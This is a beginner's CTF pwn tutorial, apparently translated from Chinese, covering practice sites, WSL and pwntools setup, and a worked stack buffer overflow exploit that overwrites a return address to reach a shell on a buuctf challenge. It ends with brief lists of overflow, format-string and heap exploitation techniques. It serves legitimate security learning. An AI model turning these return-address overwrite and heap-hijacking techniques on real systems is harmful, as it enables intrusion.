Beginner#

Getting Started#

Beginner — Learning from Writeups#

Recommended websites:

1. Xctf 攻防世界 — has built-in writeups on the site, but recently pwn environments cannot be deployed
2. Bugku — pwn environments can be deployed, but you need to find writeups yourself; fewer challenges
3. buuctf — pwn environments can be deployed; includes companion exercises for N1BOOK (though the environment seems broken?), past competition problems, and a large number of challenges, but you need to find writeups yourself

Getting Started — Learning from Competitions#

Participate in competitions and practice your skills at the same time. This way you can better keep up with the pwn hotspots in competitions and also develop the ability to adapt on the fly.

Windows#

1. Install WSL2 (subsystem) https://docs.microsoft.com/zh-cn/windows/wsl/install-win10
2. Install Python 2 in WSL https://www.cnblogs.com/dancesir/p/14201267.html
3. Install pwntools and other libraries in WSL https://docs.pwntools.com/en/latest/install.html
4. Install checksec in WSL https://www.cnblogs.com/luocodes/p/13894106.html
5. Pick an IDE you like — highly recommend VSCode

Learning Pwntools#

Official documentation: https://docs.pwntools.com/en/latest/intro.html

checksec#

64-bit, so load it into IDA 64, find the main function, and press F5 or Tab

Analyzing the Functions and the Vulnerability#

Writing the exp#

1
from pwn import *
2

3
r = process('./pwn1') # use a local connection when debugging
4

5
p1 = "a"*(0xf + 0x8) + p64(0x0401186)
6
# after overwriting up to r, pack 0x0401186 to overwrite main's return address
7

8
r.sendline(p1) # send the payload
9

10
r.interactive() # open interactive mode

Run it It doesn’t work We need to balance the stack frame (beginners can skip this and just remember the conclusion) That is, we need to return one extra time In x86 assembly, the ret instruction is similar to first popping a value and then jmp-ing to that value’s location to continue execution So we look for the address of a ret There is a retn right at the end of the main function So we modify the exp

1
from pwn import *
2

3
r = process('./pwn1') # use a local connection when debugging
4

5
p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)
6
# after overwriting up to r, first overwrite main's return address with retn, then pack 0x0401186 to overwrite retn's return address
7

8
r.sendline(p1) # send the payload
9

10
r.interactive() # open interactive mode

We find that the ls command (the Linux command to view the contents of the current directory) can be executed Now modify the exp to connect to the remote target

1
from pwn import *
2

3
r = remote("node3.buuoj.cn", 29885) # interact with the remote target during the real attack
4
# r = process('./pwn1')
5

6
p1 = "a"*(0xf + 0x8) + p64(0x0401185) + p64(0x0401186)
7

8
r.sendline(p1)
9

10
r.interactive()

Run it again Get the flag cat (the Linux command to directly output a file’s contents) At this point you can celebrate and submit the flag

Writing the Writeup#

Don’t forget to write a Writeup after submitting the flag. A Writeup is a document recording your solution approach. A team usually keeps a shared, collaboratively edited document; whenever someone solves a challenge, they write the solution approach, the exp, and some screenshots into it, because competitions generally require you to submit a Writeup at the end to make sure you didn’t get the flag by py-ing (freeloading).

Stack Overflow#

1. gets(); — unbounded character read, stops at \n
2. scanf("%s"); — unbounded character read, stops at \n
3. read(0,buf,0x200); — the distance from buf to the return address is less than 0x200

Array Index Overflow#

1. No check on the upper or lower bound; combined with read or write, this allows reading or writing at arbitrary positions

Format String#

1. Mainly exploits the format string vulnerability of printf to achieve read/write within the stack region

Heap Exploitation#

1. UAF (Use After Free)
2. Hijacking __malloc_hook
3. Modifying __IO_1_2_stdout